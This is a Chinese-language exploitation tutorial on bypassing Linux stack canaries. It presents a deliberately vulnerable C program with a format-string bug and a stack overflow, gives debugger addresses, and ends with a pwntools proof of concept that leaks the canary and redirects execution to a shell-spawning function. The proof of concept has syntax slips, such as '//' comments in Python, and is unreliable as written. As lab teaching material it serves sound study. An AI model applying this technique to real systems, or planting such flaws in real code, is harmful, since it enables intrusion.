0x01 canary保護機制
棧溢出保護是一種緩沖區溢出攻擊緩解手段,當函數存在緩沖區溢出攻擊漏洞時,攻擊者可以覆蓋棧上的返回地址來讓shellcode能夠得到執行。當啟用棧保護后,函數開始執行的時候會先往棧里插入cookie信息,當函數真正返回的時候會驗證cookie信息是否合法,如果不合法就停止程序運行。攻擊者在覆蓋返回地址的時候往往也會將cookie信息給覆蓋掉,導致棧保護檢查失敗而阻止shellcode的執行。在Linux中我們將cookie信息稱為canary。
0x02 溢出例子
整體思路:
找到溢出點,用我們的shellcode去覆蓋棧里面的數據,但添加了canary保護,直接覆蓋會把canary也覆蓋,導致程序不能執行,所以我們要找出canary,在覆蓋的時候,把canary放在payload里,canary覆蓋canary,這樣保證canary沒有被覆蓋,其他棧數據被覆蓋,就可以過canary保護了。
程序:
#include<stdio.h>
void exploit()
{system("/bin/sh");
}
void func()
{char str[16];read(0, str, 64);printf(str);read(0, str, 64);
}
int main()
{func();return 0;
}
利用棧溢出去執行exploit程序,編譯:
gcc -no-pie -fstack-protector -m32 -o 5.exe 5.c
啟動了棧保護
在func處下個斷點
我們看到這個匯編語句,這里就是插入canary,將canary信息放到eax中,然后壓入棧中,這是在調用第一個read函數前插入的
我們來看看eax值和壓入的canary信息在哪里:0xffffcffc
記錄一下read函數把讀取的內容放在那個地址:0xffffcfec
我們看一下buf內容和canary地址(0x2fe2d00)相差多少,buf再加上16個字節就到canary的地址了。
查看exploit地址 0x80484cb
查看func的ret語句,此時esp的值:0x8048554,地址為0xffffd00c,和canary相差16個字節
我們要利用read棧溢出,去執行exploit函數,所以我們要覆蓋0xffffd00c這個地址數據,內容更換為exploit首地址,但是加了canary保護,我們在覆蓋的時候不能覆蓋掉canary信息。所以我們在覆蓋棧內數據的時候,canary還覆蓋成canary信息就行了。
但每次程序執行canary的值都不會相同,這又頭疼了,這個時候我們的格式化輸出就有用處了。我們可以將canary輸出來,然后動態加到我們payload中,這樣保證每次都是那個canary
我們可以找到canary距棧頂的距離,這個是不會變的,然后用格式化輸出就行了。
利用read將printf要的數據輸進去,內容:"%11$08x"
,這樣printf就會打印距棧頂11個,就是44個byte,然后打印8個16進制數據,就是canary信息了
poc:
from pwn import *
p=process("./5.exe")
p.sendline("%11$08x")
canary=p.recv()[:8]
print(canary)
canary=canary.decode("hex")[::-1] //將canary轉成16進制
coffset=4*4 //read函數距canary16個byte
roffset=3*4
raddr=p32(0x80484cb) //exploit地址
payload=coffset*'a'+canary+roffset*'a'+raddrp.sendline(payload)p.interactive()
執行,成功
0x04 總結
加了canary保護,在調用函數前,會加一個canary信息到棧里面,如果我們利用棧溢出覆蓋了棧里面的數據,覆蓋了這個canary信息,程序就不能執行。并且每次程序執行,這個canary信息都是不同的,所以我們不能靜態的加入到我們的payload里。
- 找到exploit函數地址
- 找到buf首地址距canary地址的距離,就是有溢出的地方,在棧里存放數據的首地址,與canary的距離
- 計算ret語句需要的棧數據與canary距離
- 當執行到格式化輸出語句時,查看當前棧里數據,計算canary與棧頂的距離(每4byte為1)
- 修改poc程序,執行